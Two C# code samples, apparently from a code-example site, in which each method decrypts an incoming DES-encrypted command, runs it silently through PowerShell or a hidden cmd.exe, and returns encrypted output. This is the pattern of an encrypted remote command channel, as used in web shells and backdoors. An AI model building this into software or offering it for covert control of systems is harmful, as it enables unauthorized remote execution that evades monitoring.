Beispiel #1
0
        /// <summary>
        /// 执行powershell
        /// </summary>
        /// <param name="scriptText"></param>
        /// <returns></returns>
        public static string Runpscmd(string pscmd)
        {
            DesString msg = new DesString();

            // cmd = Encoding.UTF8.GetString(Convert.FromBase64String(demsg));
            pscmd = Encoding.UTF8.GetString(System.Text.Encoding.ASCII.GetBytes(msg.Decrypt(pscmd)));

            //pscmd = Encoding.UTF8.GetString(Convert.FromBase64String(pscmd));
            Runspace runspace = RunspaceFactory.CreateRunspace();

            runspace.Open();
            Pipeline pipeline = runspace.CreatePipeline();

            pipeline.Commands.AddScript(pscmd);
            pipeline.Commands.Add("Out-String");
            Collection <PSObject> results = pipeline.Invoke();

            runspace.Close();
            StringBuilder stringBuilder = new StringBuilder();

            foreach (PSObject obj in results)
            {
                stringBuilder.AppendLine(obj.ToString());
            }
            var outStr = msg.Encrypt(stringBuilder.ToString());

            return(outStr);
        }
Beispiel #2
0
        /// <summary>
        /// 执行cmd命令
        /// </summary>
        /// <param name="cmd"></param>
        /// <returns></returns>
        public string RunCmd(string cmd)
        {
            DesString msg = new DesString();

            //cmd = Encoding.UTF8.GetString(Convert.FromBase64String(demsg));
            cmd = msg.Decrypt(cmd);
            Process proc = new Process();

            proc.StartInfo.CreateNoWindow         = true;
            proc.StartInfo.FileName               = "cmd.exe";
            proc.StartInfo.UseShellExecute        = false;
            proc.StartInfo.RedirectStandardError  = true;
            proc.StartInfo.RedirectStandardInput  = true;
            proc.StartInfo.RedirectStandardOutput = true;
            proc.Start();
            proc.StandardInput.WriteLine(cmd);
            proc.StandardInput.WriteLine("exit");
            string outStr = proc.StandardOutput.ReadToEnd();

            proc.Close();
            outStr = msg.Encrypt(outStr);
            return(outStr);
        }